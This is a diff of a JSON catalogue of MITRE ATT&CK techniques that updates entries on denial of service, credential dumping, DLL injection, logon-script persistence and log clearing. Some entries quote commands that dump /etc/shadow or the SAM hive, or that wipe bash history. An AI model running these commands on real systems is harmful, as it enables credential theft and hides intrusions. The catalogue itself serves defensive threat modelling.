attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", "meta": { "external_id": "CAPEC-125", "kill_chain": [ @@ -4244,7 +5981,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1499", @@ -4257,12 +6000,6 @@ "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/", - "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", - "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/", - "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html", - "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/", - "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new", - "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html", "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" ] }, @@ -4270,7 +6007,146 @@ "value": "Endpoint Denial of Service - T1499" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", + "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "meta": { + "external_id": "T1555", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "PowerShell logs", + "API monitoring", + "File monitoring", + "Process monitoring", + "System calls" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1555" + ] + }, + "uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "value": "Credentials from Password Stores - T1555" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "meta": { + "external_id": "T1567", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Netflow/Enclave netflow", + "Network protocol analysis", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1567" + ] + }, + "uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", + "value": "Exfiltration Over Web Service - T1567" + }, + { + "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", + "meta": { + "external_id": "T1578", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Stackdriver logs", + "GCP audit logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1578", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020" + ] + }, + "uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "value": "Modify Cloud Compute Infrastructure - T1578" + }, + { + "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ", + "meta": { + "external_id": "T1037.001", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037/001", + "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", + "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "value": "Logon Script (Windows) - T1037.001" + }, + { + "description": "Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)\n\nAdversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ", + "meta": { + "external_id": "T1037.002", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037/002", + "https://support.apple.com/de-at/HT2420", + "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", + "value": "Logon Script (Mac) - T1037.002" + }, + { + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", "meta": { "external_id": "T1373", "kill_chain": [ @@ -4284,7 +6160,39 @@ "value": "Push-notification client-side exploit - T1373" }, { - "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).\n\nIf an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Endgame HuntingNMemory June 2017)(Citation: Endgame Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.001", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "DLL monitoring", + "File monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/001", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://www.endgame.com/blog/technical-blog/hunting-memory" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "value": "Dynamic-link Library Injection - T1055.001" + }, + { + "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).\n\nIf an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "meta": { "external_id": "T1190", "kill_chain": [ @@ -4320,7 +6228,7 @@ "value": "Exploit Public-Facing Application - T1190" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)", "meta": { "external_id": "T1370", "kill_chain": [ @@ -4334,7 +6242,37 @@ "value": "Untargeted client-side exploitation - T1370" }, { - "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "meta": { + "external_id": "T1095", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1095", + "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29", + "http://support.microsoft.com/KB/170292", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "value": "Non-Application Layer Protocol - T1095" + }, + { + "description": "Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", "meta": { "external_id": "T1111", "kill_chain": [ @@ -4389,7 +6327,7 @@ "value": "Network-based hiding techniques - T1315" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)", "meta": { "external_id": "T1371", "kill_chain": [ @@ -4423,7 +6361,7 @@ "value": "Insecure Third-Party Libraries - T1425" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)", + "description": "**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).**\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)", "meta": { "external_id": "T1377", "kill_chain": [ @@ -4437,30 +6375,2530 @@ "value": "Exploit public-facing application - T1377" }, { - "description": "~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment. \n\nThe macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nAdversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).", + "description": "Adversaries may establish persistence by executing malicious content triggered by a user’s shell. ~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.\n\n~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.\n\nThe macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nAdversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware)", "meta": { - "external_id": "T1156", + "external_id": "T1546.004", "kill_chain": [ + "mitre-attack:privilege-escalation", "mitre-attack:persistence" ], "mitre_data_sources": [ - "File monitoring", - "Process monitoring", + "Process use of network", "Process command-line parameters", - "Process use of network" + "Process monitoring", + "File monitoring" ], "mitre_platforms": [ "Linux", "macOS" ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/004", + "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "value": ".bash_profile and .bashrc - T1546.004" + }, + { + "description": "~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment. \n\nThe macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nAdversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).", + "meta": { + "external_id": "T1156", "refs": [ "https://attack.mitre.org/techniques/T1156", "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" ] }, + "related": [ + { + "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", "value": ".bash_profile and .bashrc - T1156" }, + { + "description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n", + "meta": { + "external_id": "T1003.008", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/008", + "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html", + "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "value": "/etc/passwd and /etc/shadow - T1003.008" + }, + { + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)", + "meta": { + "external_id": "CAPEC-561", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Authentication logs", + "Process use of network" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021/002", + "https://capec.mitre.org/data/definitions/561.html", + "https://en.wikipedia.org/wiki/Server_Message_Block", + "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "http://support.microsoft.com/kb/314984", + "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts", + "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem", + "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + ] + }, + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "type": "subtechnique-of" + } + ], + "uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "value": "SMB/Windows Admin Shares - T1021.002" + }, + { + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n", + "meta": { + "external_id": "T1003.002", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "PowerShell logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/002", + "https://github.com/Neohapsis/creddump7" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "value": "Security Account Manager - T1003.002" + }, + { + "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", + "meta": { + "external_id": "T1003.005", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "PowerShell logs", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003/005", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)", + "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html", + "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials", + "https://github.com/mattifestation/PowerSploit" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "type": "subtechnique-of" + } + ], + "uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "value": "Cached Domain Credentials - T1003.005" + }, + { + "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nThese logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries can use a variety of methods to prevent their own commands from appear in these logs, such as clearing the history environment variable (unset HISTFILE), setting the command history size to zero (export HISTFILESIZE=0), manually clearing the history (history -c), or deleting the bash history file rm ~/.bash_history.", + "meta": { + "external_id": "T1070.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070/003" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "type": "subtechnique-of" + } + ], + "uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "value": "Clear Command History - T1070.003" + }, + { + "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "meta": { + "external_id": "T1011.001", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Process monitoring", + "User interface" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1011/001" + ] + }, + "related": [ + { + "dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "type": "subtechnique-of" + } + ], + "uuid": "613d08bc-e8f4-4791-80b0-c8b974340dfd", + "value": "Exfiltration Over Bluetooth - T1011.001" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes 